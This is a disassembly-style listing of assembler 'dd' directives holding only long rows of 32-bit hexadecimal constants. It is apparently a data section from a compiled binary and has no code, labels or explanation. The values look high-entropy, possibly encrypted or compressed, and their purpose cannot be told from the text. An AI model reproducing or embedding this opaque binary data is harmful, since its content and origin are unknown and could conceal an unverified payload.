		dd 0C5BA923Fh, 496B811Ah, 9744C14Eh, 25EB2956h,	9EC3AB62h
		dd 0B10C70EAh, 31A983D5h, 97A3942Ch, 0F4E457D1h, 0F84F8B62h
		dd 0DDC4ABEh, 1C2C6E8Eh, 0B788408Bh, 951A9738h,	2B12AE5Ch
		dd 292285E6h, 0F0988C80h, 0F8893297h, 0BF0E403Bh, 3486DC3Bh
		dd 68124A1Ah, 97D9C0D8h, 0C9149030h, 5E9D0380h,	0EF16C43Dh
		dd 0A29ABC20h, 0D97A0E06h, 5E60C838h, 0A6A076B5h, 8CE38A05h
		dd 84FB96A5h, 0A03DB75Ah, 3168312Dh, 45B68825h,	0C7882B03h
		dd 9AB64B5Eh, 0C01AC8A6h, 0DA024854h, 0BD85B817h, 825E6C2h
		dd 121089Fh, 10C3B904h,	2AE964A9h, 638720FAh, 7877D84Bh
		dd 9429DE3Ch, 80EB2E05h
		dd 0C2A2BBFCh, 0E64B4A97h, 10FDF34Fh, 4F150DC6h, 0A5A2C612h
		dd 4CD38101h, 2E32C851h, 6DAB5A24h, 656A3F21h, 0B2B87B16h
		dd 55F31D35h, 47740683h, 2C4980Dh, 0C8543E7Eh, 0C0371B0Fh
		dd 0AA0C597Fh, 626520D8h, 884F4A7Ah, 66B03EB7h,	91269CD9h
		dd 7D150D26h, 133049E4h, 65C47BC6h, 0A09EA7FFh,	92C18A9h
		dd 0F6DDF9ADh, 0DF1756DCh, 0A607C8Dh, 94E11245h, 6AC2E128h
		dd 49E83CBDh, 34505B04h, 0B8AA9406h, 0DBCA4A22h, 79B260C3h
		dd 614E9E7Ch, 92E15EA6h, 0F6282E61h, 284FB578h,	0FFE8A964h
		dd 3BA19580h, 0FE02CFBCh, 16C14A6Dh, 2AF355B1h,	25FE42F0h
		dd 0F1CE676Ah, 4012CDB5h, 0FF084E8Ch, 8AB7E112h, 749DDBE2h
		dd 4633C251h, 0EF51D85Ch, 6B7B7Bh, 0BD9CA592h, 4B2349CFh
		dd 22B38A4Eh, 0DD8A1389h, 295D0B60h, 58583DA9h,	0CD781AB3h
		dd 5DEF01FDh, 18B1EA8Bh, 2DA620A4h, 0D22A2741h,	0E5251043h
		dd 3B0856C0h, 5E7F0035h, 0DED69E83h, 932D476Ah,	2BBCE1D8h
		dd 955C5B02h, 0DF254EAEh, 833EA4B7h, 5BA0A118h,	2562BEF9h
		dd 0F34E01C1h, 2DE98983h, 87243A32h, 0B8B68F52h, 3A2FBC4Fh
		dd 1E649FAh, 0C71751BBh, 9B3E6A0Ch, 365EC0DCh, 407D993h
		dd 2BADB633h, 147F8F8h,	61D86867h, 32A3249h, 56622784h
		dd 6BAA30BDh, 89009E6Ch, 0A754EB45h, 20E1B86h, 0FCAF6546h
		dd 605C5FCAh, 31546D6h,	9501C586h, 0F84725FDh, 909554C6h
		dd 1DA86E2h, 0BD32EE44h, 64CFC135h, 730541C4h, 1E8E95Bh
		dd 97DBE5C8h, 3DD74A09h, 0D73D85C2h, 0DA0B82E4h, 624455Ch
		dd 62F10BFCh, 9A554283h, 0C6F15D5Ah, 6CF8600Ch,	38F3BDD1h
		dd 2D9EAF28h, 2EBF5080h, 4B0DF4DCh, 2F388D5Fh, 891667F3h
		dd 8B2EB906h, 13E25F9Dh, 802FBDD5h, 41274C56h, 0D909D2B8h
		dd 54301120h, 57506198h, 84A2E8BBh, 7FAD174Eh, 599D2B0Dh
		dd 0ED122AE5h, 83939EEAh, 0E8F47C3Ah, 39C52750h, 0BD0B992Bh
		dd 9CDF0B15h, 865E97B3h, 0FA777B8Eh, 13107555h,	0E9002FEFh
		dd 0C85C1381h, 5809CDh,	0C004DD27h, 0E35F8B90h,	521C58B8h
		dd 5122880Fh, 526ABF5Bh, 0FCDD240Bh, 20C8296h, 0D16140F6h
		dd 3D0700F3h, 0A9A7CDA6h, 33275250h, 4837F713h,	77AC2100h
		dd 3AFC6280h, 2D4C998Fh, 0B91E7516h, 13A2D47Dh,	32FF0B55h
		dd 0B7108A0Ch, 0D65A8369h, 50C9D2FDh, 0DD2FC5F9h, 904F2A18h
		dd 9CDB8100h, 0BB3D77ECh, 822E2F06h, 392BC50h, 0E7BB6D9Fh
		dd 2A680066h, 2B90B84Ah, 0FC816170h, 95E6E6D6h,	0BBA7DBh
		dd 937DF387h, 16DCC54Eh, 0EE4D4C64h, 0FC25C5CBh, 0DB2D43CDh
		dd 87D67073h, 0B7881404h, 25ABF9A4h, 9C02BAB1h,	5561F5C0h
		dd 467C8B6Dh, 2921001Dh, 0E5E19C09h, 0C06A1EF1h, 49854B06h
		dd 514192EAh, 0C99E6A0Eh, 1AE8A780h, 14978440h,	449206Ch
		dd 4E955895h, 0F6D7FC12h, 726D9F27h, 18601A64h,	6C0913D1h
		dd 186DC286h, 2BEA892h,	96847119h, 905C8E8Ch, 42F38061h
		dd 4A858230h, 0F28CB601h, 4C983015h, 5DBD0B09h,	9F93730Eh
		dd 1A2B278Bh, 902D247Ch, 0F45EBA1Fh, 1A550031h,	8F768AABh
		dd 0BB00E5F3h, 0C81B7861h, 0BC5BF98Bh, 6021C753h, 0C4231FF3h
		dd 6A85834Fh, 0BF1288BAh, 0D8DEC20Bh, 53EF757Ch, 41ECB2E0h
		dd 92220017h, 0CE757984h, 9D25BD29h, 9F94CE19h,	0CC013CB7h
		dd 0A4F1B7FBh, 44E844F0h, 74F4E70Bh, 797BE1F0h,	85388C09h
		dd 812C023Dh, 0EF5F0431h, 1FA21BCAh, 0BF25D058h, 0BDB9C6DEh
		dd 0FC9751E4h, 57B378F8h, 2C20FB9Dh, 32093E7Dh,	0E1E20D76h
		dd 25B914D5h, 0F6598D0Fh, 5E34574Bh, 9BF7A617h,	7FB1A912h
		dd 5D50C560h, 8BBC1820h, 0B2875400h, 502A6ECAh,	516D05EDh
		dd 0BBB99589h, 0F92EF9F1h, 8469A92Ah, 48294E81h, 4AF76CC1h
		dd 0B2B71CDh, 0F863FF69h, 0CFF97DF8h, 0DAEC455Eh, 48A402AAh
		dd 0DF61DDF2h, 0E2FFA4C2h, 1BB55523h, 0C1801891h, 0ABEB52B8h
		dd 1E05BB75h, 6050259Ah, 0D93B20EEh, 0DB0495D0h, 5282F18Dh
		dd 218079B8h, 0A47ED2E7h, 0C307A900h, 0FB9D37EEh, 2FE12E06h
		dd 0A47E2766h, 11D38180h, 8C283B6Dh, 218DCCC5h,	4AA88BAFh
		dd 54A85FB9h, 12D6BA02h, 0DCCB83E1h, 4A7C6BFCh,	9E8ECB3Bh
		dd 0FDC2E179h, 6E8308B7h, 0BC977508h, 84F1EDAFh, 0E61A2D4Dh
		dd 96947156h, 0EAD4AAFh, 92DFC825h, 42C65E65h, 0F975AB67h
		dd 966142DCh, 18DCB956h, 962A5360h, 77970699h, 0F14ADE94h
		dd 1A010B8h, 109F5195h,	95246DD5h, 78A74C73h, 1E155634h
		dd 0AFF98A13h, 71933BDAh, 2396E23Eh, 7D00039h, 356F1C70h
		dd 8B88007Bh, 0B6081977h, 134B61A4h, 5F35F68Ah,	199BFB38h
		dd 0ABE93FC5h, 0C980842Ah, 359D0308h, 0F1283241h, 0BB86844Fh
		dd 0B74E1BE6h, 640309A7h, 0C1FA71C5h, 1205ADBDh, 25DB2945h
		dd 1051BD0Eh, 0E2C14A76h, 2DE95AB6h, 5D8D8FC0h,	81040C51h
		dd 29782F58h, 0F43F1DE1h, 539D5FCEh, 181459F6h,	9118B7D2h
		dd 5D00886Dh, 5A79D3FEh, 1266D91Eh, 0B4CE14BBh,	8B3B521Ah
		dd 0FC6AA5D8h, 10EDEAFh, 0E2BF685Bh, 92144F3h, 6AB7617Fh
		dd 0C00DDB3Bh, 5C16E28Dh, 2805E67Dh, 128E3B1Ah,	0AEE95F43h
		dd 0ADE532F3h, 12B580ADh, 26A4EDEh, 29728517h, 0C55D870Fh
		dd 91B100E5h, 297AF661h, 0BEBCFC09h, 0F3DC0C5h,	27286982h
		dd 0B9F4ABC4h, 59ACA300h, 96864838h, 0AB2C02EEh, 0E19131D4h
		dd 0CA40B4D6h, 65B9ECh,	744A3E28h, 25605CABh, 3EBEF05Eh
		dd 9A172B83h, 4FE9F507h, 0BACBE1AFh, 442E3666h,	0FE9E6122h
		dd 4017245h, 90F1CE25h,	0A927ED2Ah, 26D71Ch, 0B9A0C34h
		dd 8E35E808h, 642F7C95h, 55A2AB83h, 0FF2E8801h,	84FE8BD1h
		dd 44C3DBA0h, 0D219E6ABh, 9EA0DBB6h, 410049BDh,	0F7C781CAh
		dd 2718D40Bh, 756D026Ah, 0A45AF8C3h, 36C0A081h,	0B2C1882Ah
		dd 41CF7EAh, 0F2492692h, 8AD2403Bh, 8CF3B7DDh, 3CCF7725h
		dd 85291640h, 0BE0B4A3Dh, 0CC5D106Eh, 9D4FAC93h, 9ABAF02h
		dd 79E1C0BEh, 38B7801Bh, 1C97E977h, 5F4D20F6h, 757A1993h
		dd 62960071h, 0B081BE9Bh, 6A3FFD1Dh, 1BA86BFDh,	0C180099Bh
		dd 0F299FF4Fh, 0E4D95884h, 0D6D0F84Fh, 844B1FAEh, 0F0614728h
		dd 0DA5D8BBCh, 9DB51C2Ch, 0B44A4FFEh, 4BDEF190h, 0FB35C43Bh
		dd 2901D77Eh, 2FC08973h, 0BFFDAB0h, 525A566Dh, 962555Ch
		dd 7DA1F28Dh, 4F9DEA6Ah, 3549C8A5h, 31D7065Fh, 28AE0D64h
		dd 638A0CB0h, 571EAA66h, 0BFD8B018h, 8A359902h,	5570E637h
		dd 8D3469CCh, 93AB31D5h, 573B293Bh, 214A7F0Bh, 0D827B9E3h
		dd 0C10AB264h, 2833DB0Bh, 12FA2945h, 1908E3F4h,	1158F9B7h
		dd 9F3CF92Ah, 0D909A956h, 170378FCh, 4B41BD29h,	12DF3300h
		dd 120B5C1Fh, 8026E889h, 8BFCC82Bh, 0F7525CD1h,	5FA90133h
		dd 227579AFh, 0A680E9DFh, 12D90D4Ch, 0BEA1BD23h, 9AA16D5h
		dd 0C8575088h, 861FE12Ah, 4E3D6095h, 8FCE95C4h,	19CD7AC6h
		dd 604A446Dh, 5BBA6600h, 0E27EBFFBh, 612525FAh,	0C190FAC6h
		dd 5EE69625h, 92D75A10h, 5AF37011h, 9FEAB201h, 19E19544h
		dd 0E7611024h, 2585C52Ah, 0FBCCFA8Ah, 0B0D9D720h, 9CDE959Eh
		dd 0A1F15DE9h, 18E90614h, 0C9AA955Ah, 1A7E9D1Fh, 5FB5A8CCh
		dd 80A9E923h, 3A8465ADh, 549598A8h, 165FA3CDh, 0E71037B9h
		dd 6306A055h, 13EB0BBAh, 125703EEh, 9D604D9h, 7BFCE121h
		dd 2C00356Eh, 53EA9DB4h, 6F016694h, 2277A9BBh, 4773FC06h
		dd 54ED300h, 7BEAF502h
		dd 0DC89770Eh, 61E913B8h, 3331CDECh, 29DC8F4h, 4AECE32Ah
		dd 88024DAh, 68CF565Eh,	0F80DA300h, 8A0FFA69h, 0E227D21Ah
		dd 2AC700F1h, 61AA80EFh, 0C05B0159h, 3497ACC1h,	46D0D78Fh
		dd 547DB706h, 9120BF97h, 0D69F8319h, 1586D02Dh,	91BB01BFh
		dd 8C0F0977h, 4829AC02h, 0A011C425h, 9D2B6D33h,	1579815Bh
		dd 0AD4ADB18h, 271A2C1h, 0BCE66Bh, 0F0ACCC43h, 1C72C27Dh
		dd 0FC6D90h, 0D0A1282Eh, 612F21CDh, 958B7851h, 4575F99Ah
		dd 0C675CB96h, 4F51098Bh, 9E4D6545h, 0F4FC21C0h, 4C8204C4h
		dd 0C0A7BBB3h, 0BEEE8138h, 0C80A2661h, 0D830C0FEh, 8AFF4BBFh
		dd 517234EFh, 0A900A36Fh, 0CCFEBB18h, 7E9D6963h, 0C494FC6Bh
		dd 0D1E0BA4Dh, 0AFDE9F13h, 0EFF3BF40h, 0BF7E4EB0h, 82807534h
		dd 8015859Dh, 40C2E1FFh, 50F5ADE7h, 8E2BF7B1h, 2E1322C4h
		dd 25E69509h, 80C03E5Ch, 13F00357h, 0AB9DE22Ah,	0EC31A369h
		dd 0B32AD461h, 83C68AFFh, 0DA7BF80h, 0BB606BE7h, 5AFF7AD4h
		dd 0BC27131Dh, 0AFF712BBh, 0ED7ADBB1h, 27CCE824h, 0B5DBD2Bh
		dd 46F4D8F4h, 83B24A89h, 3571D92Dh, 83A92134h, 0AD1689CEh
		dd 8D12DDD8h, 60A5D2BFh, 0C557E7E2h, 6E7F25C9h,	23519D02h
		dd 0DCADB18Bh, 0F6DC2EB0h, 8060700Fh, 0A1B86FEAh, 610F6A79h
		dd 22219238h, 1C45C831h, 0DDF26800h, 0BB6CA601h, 20BFA20Ch
		dd 0DE5032Eh, 0AEE4B9DEh, 0BC9376A8h, 0F6ECD248h, 0EEDEC5D7h
		dd 602D7CCAh, 0B5C2A7DCh, 9847E4BDh, 61A68904h,	0B923842Bh
		dd 337E8A2h, 96B6AA8Fh,	0E0127D1Eh, 70AE08FDh, 3B31BF33h
		dd 0CD7F1B25h, 601B64C6h, 4E4D8D7h, 1E78EE2Ah, 0D13281EFh
		dd 51814821h, 20B7185Ah, 0AD30EA4Ah, 13E14733h,	0AA10B76Fh
		dd 0DD95F760h, 41AC8423h, 0C2FC8A25h, 0E0C26DC0h, 96A03CBFh
		dd 0F98A5707h, 8B51505Bh, 60EA5FDAh, 26E1614Ah,	6E137810h
		dd 20C3EE93h, 0BFB8EC27h, 0B1D9B75Fh, 12F87710h, 0D8E704F7h
		dd 0A03B3254h, 258402C5h, 0C6C72A21h, 5D41122Fh, 0D9F8600h
		dd 0FA00EE3Ch, 0B00ABAA0h, 1CC2F8E0h, 6E50905Fh, 23D70BEAh
		dd 3E62F85Ch, 0A0995798h, 2DF86B51h, 90DABF80h,	5B2D46F7h
		dd 5CDB758h, 0BF656B52h, 3ECB8E20h, 0CA4C090Bh,	3975ECF8h
		dd 642DB3h, 0BF8D5E5Fh,	92000D7Eh, 0B0665FE8h, 6A090BCCh
		dd 579FB3E2h, 8F713D08h, 66C5A02Ch, 20B250h, 3328807Dh
		dd 3A52E1h, 0D7DE8DF6h,	3D6B4A8Fh, 8C3FA202h, 8266B341h
		dd 0DD880FAEh, 318234F9h, 0FD2FC18Dh, 0E8EAAA4Dh, 468F23E0h
		dd 68CB1794h, 999BFE4Fh, 0FE1E6A85h, 0F510CEB6h, 9D291624h
		dd 93E61ADh, 0AD08F116h, 0CBFDB4D9h, 9499FCA9h,	6825ACF8h
		dd 629CDD16h, 0E9352662h, 963D7F3Ch, 8D7CE980h,	97F820FCh
		dd 5F72189Dh, 3755E7C2h, 0EC310282h, 0E95C9FCEh, 9D081E51h
		dd 0E2263121h, 0CF75040Bh, 1C8E4081h, 8912F72Dh, 52AC29BDh
		dd 0A00E8A4Bh, 0E6422E9h, 0AD636F7Ah, 0FC800EE8h, 0FA3B37CCh
		dd 818D006Bh, 7C516DCFh, 7C95C8D5h, 4453C935h, 0DAED50h
		dd 7006D8D9h, 0AC3365BFh, 0BBA8184Eh, 945F1B27h, 20F1253Eh
		dd 1579AD73h, 7162F818h, 5A18696Ah, 0C4DF4A31h,	0E46FB630h
		dd 126CB6AEh, 0D6B687B3h, 0E3018B2h, 7A7B148Fh,	592A80FCh
		dd 165B958Ch, 0CE181559h, 5FAF3655h, 0AD8B801Ch, 12D8F9EEh
		dd 0FA50CC26h, 9529D231h, 5F27916Ah, 41AF6056h,	57110A69h
		dd 0EDB11466h, 35BD0382h, 89F3D52Ah, 23099D85h,	582CE0CDh
		dd 0D38166A0h, 0E2910D25h, 0C67D00h, 2B050797h,	57493997h
		dd 6CCBCA6Dh, 86AD122Dh, 40E2BF61h, 0DF81AE00h,	17236508h
		dd 12E71B97h, 8D20E9B4h, 0D14EE384h, 3AAABB8h, 0A2A307C9h
		dd 428792B5h, 1D177965h, 441EC032h, 5BF88AE2h, 0CCF7CEFFh
		dd 0C5DF0788h, 27499621h, 0B35B4B50h, 38D63270h, 360B34DAh
		dd 8083E49Dh, 0FA155559h, 81751CC5h, 2C5D8589h,	8ED72B2Eh
		dd 665664BDh, 758E1282h, 5BE901F9h, 0D7A470CBh,	75294514h
		dd 0D6522591h, 0A61E6F67h, 8F25DE42h, 1E4005D2h, 320F8F28h
		dd 0F92F0180h, 44F6C966h, 2B8B5C00h, 0DFEB86F7h, 0A8C80BD1h
		dd 66D7369Dh, 3ABF1AC4h, 0EFDD55A2h, 0F84609Ch,	3E055E60h
		dd 529BCC20h, 82D14740h, 37BA97h, 0A9F5BB49h, 1F7DC7D6h
		dd 0FE8ACD12h, 0C84ED9E3h, 0CE013639h, 7310E141h, 282E67C6h
		dd 0DBE60B4h, 868E4F6h,	6476914Ch, 771B410Bh, 0B0CB0ACDh
		dd 72165D0Eh, 31BD0025h, 0AB75BB98h, 0C7B00155h, 71159525h
		dd 0F07027B6h, 0CBEBD9BDh, 0F0FF754Ah, 336D033Fh, 0EA5B414h
		dd 0BE5CAFFAh, 9CFF8192h, 0CB0062BAh, 6F0CFEEh,	1EAFA58h
		dd 25F42B6Ah, 2BC18B1Ch, 6412D320h, 4A6E002Ah, 5DCBC704h
		dd 570369CFh, 30E161A2h, 5C1FDA80h, 0B55552C5h,	3B2F00F2h
		dd 50F9A832h, 0A940F6B4h, 8773FFh, 48F5786Bh, 0B0A53E5Dh
		dd 634F7504h, 37F102CDh, 45B8D939h, 0A7CBA101h,	651C4647h
		dd 4025A420h, 0BB136620h, 0B44EFE48h, 6FAE92D8h, 8F5A285Eh
		dd 0E96E8813h, 870CDBAAh, 5E919BE2h, 42BF8A6h, 0EAC08391h
		dd 2A50DAB0h, 185FD8Ah,	92D4C781h, 7F6A559Ah, 428095ECh
		dd 1C79BD8Eh, 1CC0600h,	77361ACEh, 5F6C3B5Ah, 0EE552D05h
		dd 87BF3471h, 0F0E4902Ah, 3A005C45h, 0F1994CD0h, 25BC4AF6h
		dd 767877CCh, 51DC45B5h, 0B982CA4Dh, 0A9E1AC86h, 0CE75C265h
		dd 0D1FF2D1Eh, 0B40B84B7h, 0E96618A2h, 8A200B4Ch, 0EE04035Dh
		dd 715B091Bh, 545844A9h, 6AE10C73h, 4E6D9C02h, 8927FE12h
		dd 0CA938139h, 0F83F5C54h, 0FB93C68h, 0C9456325h, 12E204D9h
		dd 0A94A79ACh, 2FCABC5Bh, 3AFA7E30h, 13506197h,	0AA6F762Eh
		dd 3CBE9D4Fh, 439292CDh, 0FE54BB04h, 7A801B08h,	93E429D1h
		dd 70F7D24Eh, 3C05CD2h,	0B7F8D00Eh, 534E3F2h, 2219BD31h
		dd 0A9A89B53h, 0AE202E8Eh, 4BC085DDh, 95EA4700h, 0A6F5162Dh
		dd 0D97C0235h, 9050ADDAh, 27DC4654h, 0D56ED1h, 0F725BFCBh
		dd 0A0754FADh, 0E3AA7DF9h, 1981BB40h, 0F86E6181h, 0C204AA73h
		dd 0B821CF80h, 7AEF9222h, 89EA4B3Eh, 0CFE92EB9h, 82EC39A9h
		dd 0E0B34D65h, 94FF6AE1h, 223ADC58h, 410500B2h,	3FA0A5EEh
		dd 169AB8BAh, 0F834A4BFh, 0E1513B1h, 2877ABEh, 0BB1C7CA2h
		dd 0C49C5C5Eh, 33BF400Eh, 9558C725h, 85319458h,	70E67111h
		dd 0C389F07Ah, 71583A79h, 0C9FE25A1h, 8114ED89h, 2E963635h
		dd 33AA7B12h, 1C12C171h, 73E1DE12h, 0FEBA202Ah,	1100CE06h
		dd 1ED07C36h, 975003F7h, 0BF527700h, 0E16B7B5h,	4FAB5F47h
		dd 8110691Bh, 95895251h, 5F38B739h, 48A5E995h, 0E05D6912h
		dd 47285571h, 0F97CA949h, 55750B97h, 0C2F3BFC6h, 89D0B875h
		dd 0BC6B513h, 0E8F9244Bh, 1D4EDBC0h, 0F3D79BBh,	403ED18Fh
		dd 0E92F7FDBh, 0DD155D69h, 8812C29Bh, 8AE3C90Dh, 0EC5DF525h
		dd 88DF4BB3h, 578A3A90h, 2021C438h, 9D901497h, 1F804E71h
		dd 0A01546BEh, 8E4C000Fh, 0FB9BE327h, 992A9D31h, 0A4829D1Ch
		dd 0FE8B9318h, 0E9E3097h, 0FDE85EEAh, 153BCD2h,	0E8FFD898h
		dd 0A733D380h, 8925DBAh, 0C9A9D607h, 33A8B171h,	0D1B9FB1Eh
		dd 6EEE4A38h, 38CA0584h, 458157A3h, 896FFCE1h, 0ABE83AE6h
		dd 0A8A8704h, 29A3FFE0h, 0FCFA8B0Bh, 75A5BBB7h,	8529ED81h
		dd 0B8739ADh, 5413C9BDh, 9D23C0FFh, 24972259h, 38B8F87Ch
		dd 93AACF5h, 0F7563E5Eh, 890988C4h, 711B558Dh, 135B6B11h
		dd 0B2E050h, 816B771Dh
		dd 75866FEBh, 9A3153h, 0E2C026D4h, 196ECBh, 95B64BC1h
		dd 0CC2E1CE1h, 0A70C1F97h, 0F019037h, 0FAD780E3h, 756E7Eh
		dd 80D0BEA1h, 3EBB585h,	0B86044A4h, 4BD06348h, 90961F8h
		dd 0D70AF195h, 5D44101Ch, 0F9C70481h, 0BD163A8Ch, 8C17A883h
		dd 9F0BDF0Bh, 58582D8h,	6DF17D2Ah, 12245942h, 677090D3h
		dd 0FA31252Fh, 0EA0B0AC5h, 97CE3D03h, 17A4E2EFh, 2BBEDFB0h
		dd 2DCA4ABAh, 0FF76C334h, 91C0D0DBh, 0F8E9E4EDh, 97FD8502h
		dd 0FD662B3Fh, 5866A5D9h, 10D4955Dh, 8112266Ch,	8AF57B60h
		dd 0E8BADA44h, 0D4DB9249h, 36FA0C81h, 0D6BD3E97h, 73D0F4Ch
		dd 84144BFDh, 0E0B6A633h, 0B5087BB5h, 0E91D0B05h, 59012D1Ah
		dd 2F219ED9h, 54256B3Dh, 0FE90AF8Ch, 33044C02h,	548EFBE5h
		dd 4BD72C1h, 0ABFFBC2Eh, 28060373h, 63D0D7C9h, 47F3BF7h
		dd 0CBAA3239h, 45A64E87h, 3BFFA1A0h, 4984E20Bh,	1192DE90h
		dd 0AD603804h, 0D05CFB61h, 48394B73h, 122B0943h, 44737024h
		dd 8B25F501h, 605A42C7h, 9081D96Dh, 1B52000Dh, 0A5976815h
		dd 0E2B77EA9h, 3DB656A4h, 0A5B6A69Eh, 96EB2788h, 0CDCCEEF8h
		dd 1C6E09DBh, 1E8E0C5Ah, 20F5AB52h, 0ED4DF96Fh,	61E93DECh
		dd 0E780C170h, 9B342E5Ch, 0D580A6E8h, 0BA7BCFFFh, 0FD245303h
		dd 899A1520h, 85C07989h, 0BB990135h, 3B7CBE86h,	0FFFE935Bh
		dd 81DB2AABh, 12DF8042h, 0BC6A62Ah, 5523F59Dh, 75D0963Ah
		dd 0CEFC0DD6h, 29FC0612h, 0B06C6658h, 2514F799h, 0C0C006F8h
		dd 965AF98Bh, 44E8F2E0h, 0CF01F808h, 3493C3DAh,	853B7A9Bh
		dd 0E07A81D8h, 0BEE02A12h, 0C856B550h, 40244DE9h, 0FCC8E56Eh
		dd 54D72D02h, 5C174A73h, 0BF3365CFh, 9681FF4h, 4EC1731Ch
		dd 70E33918h, 30BDE79h,	552515BDh, 83C09C15h, 9521BA51h
		dd 5F49E554h, 9EE5AA89h, 745FD7C2h, 1638A481h, 0AB5CC411h
		dd 4D430E6Bh, 6A0BBE4Ah, 853D5561h, 7F0CB0AFh, 0DF490483h
		dd 0AC50B3EFh, 1719A333h, 0D7B5292Fh, 0B7F34E34h, 497B000Dh
		dd 0BF840847h, 95DE704Ch, 467CF96Dh, 0CE3A001Ah, 0A71673Dh
		dd 0AF2F9925h, 0FD004DCh, 84DB12C6h, 0EC508960h, 3716422Eh
		dd 0ADE8AEE1h, 63E85FA1h, 75D902F8h, 74AD8B2Eh,	71684020h
		dd 6B00B725h, 83F64808h, 2F5AE36h, 0F2DC0B2Eh, 96586EE9h
		dd 39BBF94Bh, 370C250h,	5F7A819Bh, 9480B174h, 8A6D3118h
		dd 0EF8102FCh, 4F225E95h, 0C7972945h, 834C9EFBh, 3F1071CDh
		dd 0BBDB31D4h, 0B44D786Eh, 6F603ECEh, 0B08ABD0h, 1D52719Fh
		dd 0BC0D9389h, 6ABA4BEBh, 0A7D84F88h, 0BE6F1D1Fh, 0B8D79296h
		dd 9739C02Ch, 0E65DBF9Bh, 0B59CFEEDh, 1D6427CDh, 3A2DAA64h
		dd 839DFE6Ch, 0B4C5B6FBh, 91FF008Dh, 6AF3BEC2h,	899D9A4Bh
		dd 0FAA87929h, 64C4C75Bh, 30B9A181h, 0BABB9600h, 5216940Eh
		dd 4FF5C150h, 60F21F54h, 9D1A41F3h, 18796773h, 54AB2A19h
		dd 0C2C0CBBCh, 56F36A82h, 491C4A00h, 90EC53A2h,	27B00607h
		dd 0B2F1A7E5h, 30BBDA4Bh, 3160F89Ah, 1258527h, 8D8B56FEh
		dd 21BDE53Ah, 0EED514F3h, 7A039A7h, 7D00C276h, 0AA2A486Ch
		dd 9D8D0F43h, 2540C5F9h, 4EA8EA70h, 0AC9AADAFh,	0F7048C14h
		dd 2311BD09h, 0C309E8AEh, 0D832CC29h, 21C4A9h, 9C3CBBCAh
		dd 7764A5AAh, 628B7C95h, 0E171F9BFh, 9C4F4A7h, 0FBDB04C2h
		dd 736C7D72h, 74302D26h, 13527060h, 0C6C0FDE7h,	904013A6h
		dd 64CDAE0Bh, 3CCC142Bh, 0CB71FE89h, 7FBF89BDh,	8DC6F7C1h
		dd 26DF7B80h, 5D02900h,	4217614h, 9AA15094h, 0CE7564D7h
		dd 35E7ABF9h, 0DDD55BF0h, 7FF73A09h, 0AF51E0h, 0AA4C6BDBh
		dd 40733175h, 7AAD5F00h, 0EE69A43Eh, 8C0F253Dh,	96405E79h
		dd 3F97537Bh, 629F8105h, 28DA4039h, 5D02DDADh, 5BDC6016h
		dd 1AAC2BB9h, 67A3018Ch, 6BAB2107h, 985B507Ch, 0D200E4C0h
		dd 2B82DD2Dh, 0EC430Ch,	0B66B9560h, 4767BB75h, 5B7D2202h
		dd 742FB750h, 81D42589h, 251E01DCh, 188B7B2Eh, 0AFF96E6Eh
		dd 99DD259Eh, 282ED9B1h, 0D58A3DDBh, 427B8C1h, 8A2DC1ACh
		dd 335C5E62h, 3DA9B916h, 9B965B12h, 505980B3h, 29F8522h
		dd 841FE381h, 0CE5E6517h, 12690055h, 0CB7E636Ah, 0DA01BA5Bh
		dd 8960A84Bh, 18C1266Eh, 7325E97Fh, 16887361h, 84B8B8FAh
		dd 0B3BB7647h, 38D60EC2h, 9FEF325Fh, 91F5C086h,	398DF97Dh
		dd 76587E17h, 800534C2h, 6FDD7F40h, 0CAEE4C17h,	91A2DAEEh
		dd 4C30C0B8h, 614B6D79h, 9AE7FE57h, 0DEF82ACEh,	0A5DE7CA2h
		dd 0B0BD27F6h, 68D0B686h, 9665CE17h, 3D12D1ECh,	0F20DF60Bh
		dd 26BE301Bh, 53CD9A02h, 0F7C92061h, 3D628CCFh,	0E1C2C0DEh
		dd 43719513h, 49027CEAh, 0F7F4E9A5h, 0DE7C90C2h, 0ED8004DCh
		dd 0AB92C2DDh, 0B87EDB23h, 83D3C8h, 9CFB637Dh, 0D46CA93Bh
		dd 0EFC8B4Bh, 12C19E9Dh, 8FD1F8DEh, 675D6ED3h, 80A09046h
		dd 12577A7Ch, 84FA08BDh, 49B404BDh, 815F002Ch, 0BE6832C7h
		dd 0E5AD9B33h, 0E32C5CCCh, 5A17D919h, 7621203Ah, 4100CCC6h
		dd 64964CF7h, 2417348Bh, 40A89589h, 6FD3F681h, 24BF3Bh
		dd 4CB86AEEh, 1FBB571Ah, 182B3016h, 0CDFA1A59h,	0B817D704h
		dd 1FC2AFE8h, 0FA996656h, 688839E2h, 1E0FA392h,	57E540A1h
		dd 0DB19B88Eh, 804798B5h, 5BCB01D5h, 0BB17048Fh, 1F5730BDh
		dd 15633FB8h, 0FDEA81C7h, 1158F5C3h, 38241D18h,	0EA2C45C2h
		dd 5BF4D180h, 9F1310DDh, 190465B7h, 580013EDh, 98B8FA81h
		dd 9AD5FFA2h, 0A9A602B9h, 1FE90230h, 1288E20h, 67B20012h
		dd 0A66D42FCh, 8B0DBAFDh, 465BE9DFh, 38C0FBC8h,	5D87AE21h
		dd 10248CB4h, 7C2206BCh, 9E940E00h, 0BD3FC8E1h,	169B07E9h
		dd 20A2465Ah, 8EEA152Fh, 3CE4F700h, 12B68596h, 0CE06009Bh
		dd 0E91D1EB7h, 0B4663EC5h, 0EFEA5739h, 19F795E4h, 8A53612h
		dd 792180AAh, 0D93B58B3h, 4157D21h, 52930542h, 0B7B80706h
		dd 0A612B313h, 6D760010h, 6B9FC026h, 7BE297C5h,	21F008DEh
		dd 266550h, 54FB0CF7h, 0F5129399h, 63F898C0h, 419B7061h
		dd 5D3080E1h, 8BDAD0FAh, 0CFCA0015h, 60B83292h,	4A60BB05h
		dd 0BFD21F88h, 0EA18CF80h, 1047B784h, 8C6CB84Ch, 7CBDA20Fh
		dd 2A15019Fh, 58808DA8h, 8B395A7Eh, 48E87784h, 0CDE2B200h
		dd 0A6946299h, 0E9F500CFh, 7AA17F1Dh, 0A000E1AEh, 0ACF74B8Ch
		dd 0F2F6EBA9h, 0DAE0A2h, 289C4079h, 718EB72Ah, 0C1E57F00h
		dd 0AD37732h, 1ECF0ED4h, 0A5A0D0B4h, 0C8D8E3F6h, 0E89D5400h
		dd 52C20444h, 64580019h, 8701203Dh, 5F0068F8h, 3C09DFEEh
		dd 0C6F692h, 0A79E46Ch,	2D45D199h, 0AF02F472h, 23586D56h
		dd 206F407Dh, 0DAB00031h, 0DD99B61Eh, 54FA3286h, 0E794641Dh
		dd 0F3071A00h, 73308061h, 95863E55h, 0D7980238h, 0F1D18CDh
